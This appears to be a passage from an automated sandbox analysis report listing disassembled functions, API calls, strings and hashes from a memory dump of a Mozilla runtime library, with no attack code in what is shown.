MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C98E777
MOZ_PROFILER_STARTUP, xrefs: 6C98E5A1, 6C98E5CC, 6C98E5FF, 6C98E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C98E722, 6C98E750, 6C98E7A2

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 31254dc63d57a8922c94ce4fa9ac07fafd2c4a5cb7613a44a36f6f56ae2d2891
Instruction ID: 3fd905a4af8a5076377c2d67dfc6df224b589e311ffd49cd2c0522a0fda6abb8
Opcode Fuzzy Hash: 31254dc63d57a8922c94ce4fa9ac07fafd2c4a5cb7613a44a36f6f56ae2d2891
Instruction Fuzzy Hash: 8E11A136B08754DFCB009F14C448A6DBBB8FB8972CF600519E85557A50C774E944CFD6

Function 6C990C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C990CD5

Part of subcall function 6C97F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C97F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C990D40
free.MOZGLUE ref: 6C990DCB

Part of subcall function 6C965E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C965EDB
Part of subcall function 6C965E90: memset.VCRUNTIME140(6C9A7765,000000E5,55CCCCCC), ref: 6C965F27
Part of subcall function 6C965E90: LeaveCriticalSection.KERNEL32(?), ref: 6C965FB2

free.MOZGLUE ref: 6C990DDD
free.MOZGLUE ref: 6C990DF2

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fd66d18a3f384816ab6ca0759294cf6cd7c5203db16c659ecad492470c4fbf77
Instruction ID: 243c86d93e891ef51844a02c48d227d871c12ac2cd68dbb9398157d224b261ed
Opcode Fuzzy Hash: fd66d18a3f384816ab6ca0759294cf6cd7c5203db16c659ecad492470c4fbf77
Instruction Fuzzy Hash: 7E411571A097809BD720CF29C08079EFBE9BF99714F549A2EE8E887B51D770D444CB82

Function 6C980800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CE7DC), ref: 6C980838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C98084C
EnterCriticalSection.KERNEL32(?), ref: 6C9808AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9808BD
LeaveCriticalSection.KERNEL32(6C9CE7DC), ref: 6C9808D5

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: dd5156e8b15c9ad4b64e0431a6da064d30592a7a155fc8da6252d656bb78c394
Instruction ID: d86dbd4f944a0c107634e0c2c1c4a522a845cecc69a20866d80072b3976dabc9
Opcode Fuzzy Hash: dd5156e8b15c9ad4b64e0431a6da064d30592a7a155fc8da6252d656bb78c394
Instruction Fuzzy Hash: CD21DA31B072499BEF04CF65D845BAE737DBF45B08FA00968D90AA7A40DF32E9448BD1

Function 6C99CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C98DA31,00100000,?,?,00000000,?), ref: 6C99CDA4

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

Part of subcall function 6C99D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C99CDBA,00100000,?,00000000,?,6C98DA31,00100000,?,?,00000000,?), ref: 6C99D158
Part of subcall function 6C99D130: InitializeConditionVariable.KERNEL32(00000098,?,6C99CDBA,00100000,?,00000000,?,6C98DA31,00100000,?,?,00000000,?), ref: 6C99D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C98DA31,00100000,?,?,00000000,?), ref: 6C99CDC4

Part of subcall function 6C997480: ReleaseSRWLockExclusive.KERNEL32(?,6C9A15FC,?,?,?,?,6C9A15FC,?), ref: 6C9974EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C98DA31,00100000,?,?,00000000,?), ref: 6C99CECC

Part of subcall function 6C95CA10: mozalloc_abort.MOZGLUE(?), ref: 6C95CAA2

Part of subcall function 6C98CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C99CEEA,?,?,?,?,00000000,?,6C98DA31,00100000,?,?,00000000), ref: 6C98CB57
Part of subcall function 6C98CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C98CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C99CEEA,?,?), ref: 6C98CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C98DA31,00100000,?,?,00000000,?), ref: 6C99D058

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 53a1e112ea14b910f1947be84d1825d55c2dcecde6854349d90a541db824734f
Instruction ID: 0892775fc576c73293983052d37afcba1c147151415274476bea792376a58769
Opcode Fuzzy Hash: 53a1e112ea14b910f1947be84d1825d55c2dcecde6854349d90a541db824734f
Instruction Fuzzy Hash: A6D16E71A04B06DFD708CF28C4807A9F7E1BF99308F05866DD85987752EB31E9A5CB81

Function 6C951720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9517B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9518EE
free.MOZGLUE(?), ref: 6C951911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C95194C

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 5ad3dc6a95d6748c345cd7f40f95761941bcf03bf8a1cf156136b4b5c317a008
Instruction ID: 07fda4c24e46d36e43ec6fb860c08af43a89f4a2b618da39e9cf8c1b23fd2e0a
Opcode Fuzzy Hash: 5ad3dc6a95d6748c345cd7f40f95761941bcf03bf8a1cf156136b4b5c317a008
Instruction Fuzzy Hash: 1481D070A152059FCB08CF68D8D49BEBBB1FF8A314F44466CE811AB754D730E964CBA2

Function 6C965C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C965D40
EnterCriticalSection.KERNEL32(6C9CF688), ref: 6C965D67
__aulldiv.LIBCMT ref: 6C965DB4
LeaveCriticalSection.KERNEL32(6C9CF688), ref: 6C965DED

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: ddd66e674ce80ce5b5ee5d466eb60d513d54a8bee49142ca05f75cc085c13460
Instruction ID: 3fcd5998d1413ea36bce2762f10ecd945bb4f6b8e1be2faa72530e812f680f42
Opcode Fuzzy Hash: ddd66e674ce80ce5b5ee5d466eb60d513d54a8bee49142ca05f75cc085c13460
Instruction Fuzzy Hash: F5518F71E041198FDF08CF69C955ABEBBB1FB85308F298619C811A7B91C730AA45CB90

Function 6C94CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C94CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C94CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C94CF4E

Strings

0, xrefs: 6C94CF30

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: ed12effaeb460a7cb1d4cb12f2965600fa8f58789665dcc49cbc4113549bf0e9
Instruction ID: 04544bc6df0d8360a9d16c315ffef4a31cb4e115ac6345662ac5f93474864648
Opcode Fuzzy Hash: ed12effaeb460a7cb1d4cb12f2965600fa8f58789665dcc49cbc4113549bf0e9
Instruction Fuzzy Hash: 7F512171A0021A8FCB00CF18C890AAABBB5EF99300F19819DD8595F752D331ED0ACBE0

Function 6C9A77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9A77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C9A7829

Part of subcall function 6C97CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9431A7), ref: 6C97CC45
Part of subcall function 6C97CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9431A7), ref: 6C97CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9A789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9A78CF

Part of subcall function 6C944DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C944E5A
Part of subcall function 6C944DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C944E97

Part of subcall function 6C944290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C983EBD,6C983EBD,00000000), ref: 6C9442A9

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 7e893ea497618d729dcd7161561c6f43550d10c177543207a9c5ac1743c72b9e
Instruction ID: 65eb8f78341e3d75a027a4a21f895b8bdbf6dab44f29a8e639d95375ca5a1d95
Opcode Fuzzy Hash: 7e893ea497618d729dcd7161561c6f43550d10c177543207a9c5ac1743c72b9e
Instruction Fuzzy Hash: A641AF71A087469BD300DF29C48056BFBF4FFDA254F604A2EE4A987640DB30D55ACBD2

Function 6C986470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9882BC,?,?), ref: 6C98649B

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9864A9

Part of subcall function 6C97FA80: GetCurrentThreadId.KERNEL32 ref: 6C97FA8D
Part of subcall function 6C97FA80: AcquireSRWLockExclusive.KERNEL32(6C9CF448), ref: 6C97FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C98653F
free.MOZGLUE(?), ref: 6C98655A

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 3037ce0e34e583c361f08ac4722b7c9cda3b469a97c896f380624cc34dd93374
Instruction ID: f3e5f1fad4ff195d9c3d9b4ea21a8e26e322cc183c29e8f1376c911287a505e1
Opcode Fuzzy Hash: 3037ce0e34e583c361f08ac4722b7c9cda3b469a97c896f380624cc34dd93374
Instruction Fuzzy Hash: 963192B5A05705AFD700CF14D88069EBBF4FF98314F10482DE85A97741E730E918CB92

Function 6C97FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C99D019,?,?,?,?,?,00000000,?,6C98DA31,00100000,?), ref: 6C97FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C99D019,?,?,?,?,?,00000000,?,6C98DA31,00100000,?,?), ref: 6C97FFF5
free.MOZGLUE(?,?,?,?,?,6C99D019,?,?,?,?,?,00000000,?,6C98DA31,00100000,?), ref: 6C98001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C99D019,?,?,?,?,?,00000000,?,6C98DA31,00100000,?,?), ref: 6C98002A

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: ab42fa5394bf12ab61a14ffa0d56a45d475f1e3bec09108fb271abcf24a61503
Instruction ID: a5336b2c1be7f2fb8e441000bf4140db803503db0cce8c00cccb74f5ff4c993f
Opcode Fuzzy Hash: ab42fa5394bf12ab61a14ffa0d56a45d475f1e3bec09108fb271abcf24a61503
Instruction Fuzzy Hash: 642106B2A012165BD7189E7CDC948AFB7BAFB953243250738E425E7780EA30DD1186E0

Function 6C95B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C95B4F5
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C95B502
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C95B542
free.MOZGLUE(?), ref: 6C95B578

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 249aa01e563ab71f0a81897ca9e9fe6c623f7b9ba90c811cb2f9867f26264514
Instruction ID: fabca83d9928548eaafb784b6680a0c7b4eec2112116da5e4e3bf8ff615b6e72
Opcode Fuzzy Hash: 249aa01e563ab71f0a81897ca9e9fe6c623f7b9ba90c811cb2f9867f26264514
Instruction Fuzzy Hash: DA11DF31A08B41C7D712CF29C404761B3B4FFA6319F60970AE84953E02EBB4F2D68791

Function 6C983DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C94F20E,?), ref: 6C983DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C94F20E,00000000,?), ref: 6C983DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C983E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C983E0E

Part of subcall function 6C97CC00: GetCurrentProcess.KERNEL32(?,?,6C9431A7), ref: 6C97CC0D
Part of subcall function 6C97CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9431A7), ref: 6C97CC16

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: ac84092447acdf4c3880fb64977ecbd2897f2930facb9d95ec3294b302c9588b
Instruction ID: 7024fba1be685bb377a29c8eda6507c41e6a9a1ba76c47512464e33cd5778b18
Opcode Fuzzy Hash: ac84092447acdf4c3880fb64977ecbd2897f2930facb9d95ec3294b302c9588b
Instruction Fuzzy Hash: 2DF01CB1A00208BBEB00AB54DC81DAB376DEB56628F180420FE0957B41D635FE6986F7

Function 6C9920B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9920B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C97FBD1), ref: 6C9920C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C97FBD1), ref: 6C9920DA
free.MOZGLUE(00000000,?,6C97FBD1), ref: 6C9920F1

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: fddd362c79a293b713b6712e3decac16826eb7e83e74c00f4ae218e128ff86d9
Instruction ID: 46f5b4d9cd5cc679675aa5b09d3a6ecafcb062ec84263345106a0f9a44b77884
Opcode Fuzzy Hash: fddd362c79a293b713b6712e3decac16826eb7e83e74c00f4ae218e128ff86d9
Instruction Fuzzy Hash: FCE02B31604A149BC7209F25D80854EB7FDFFA6314B14022AE50AC3B00D775F6468BD5

Function 6C9985B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9985D3

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C998725

Strings

map/set<T> too long, xrefs: 6C998720

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 95b5fedaf0bed0a849fb6e7ba842c31a3ca7720a6a86d072a9216a97f1fb25c0
Instruction ID: aeb2f7bc71a798d4af03f7ba37d0b6bcdab205dce5135253bed05905a4435554
Opcode Fuzzy Hash: 95b5fedaf0bed0a849fb6e7ba842c31a3ca7720a6a86d072a9216a97f1fb25c0
Instruction Fuzzy Hash: A55164B46006458FD709CF18C084A5ABBF1BF5A318F18C29ED8599FB52C335E885CF96

Function 6C94BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C94BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C94BE8F

Strings

0, xrefs: 6C94BE5B

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 794ccfa1aba2b80a6ee8843f4f23e4ae713365992e3fb69117ce58ac9193b80e
Instruction ID: b7ce165b22b733d57f73b4e468564707282eaf9a309f1c8d319bcc814e4586be
Opcode Fuzzy Hash: 794ccfa1aba2b80a6ee8843f4f23e4ae713365992e3fb69117ce58ac9193b80e
Instruction Fuzzy Hash: E6419E71909B45DFC711CF38C481A9FB7F8AF9A348F008A5DF985A7611D730D9498B82

Function 6C983CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C983D19
mozalloc_abort.MOZGLUE(?), ref: 6C983D6C

Strings

d, xrefs: 6C983D58

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: cfb3743b5210ce4220ac95e09aec2af620083b755af0e46e3e17bd3f7f9fda42
Instruction ID: 3247f701c3997493e6ed75df0fa8b64a998d1c2debe54363fbf290a96d3fdad5
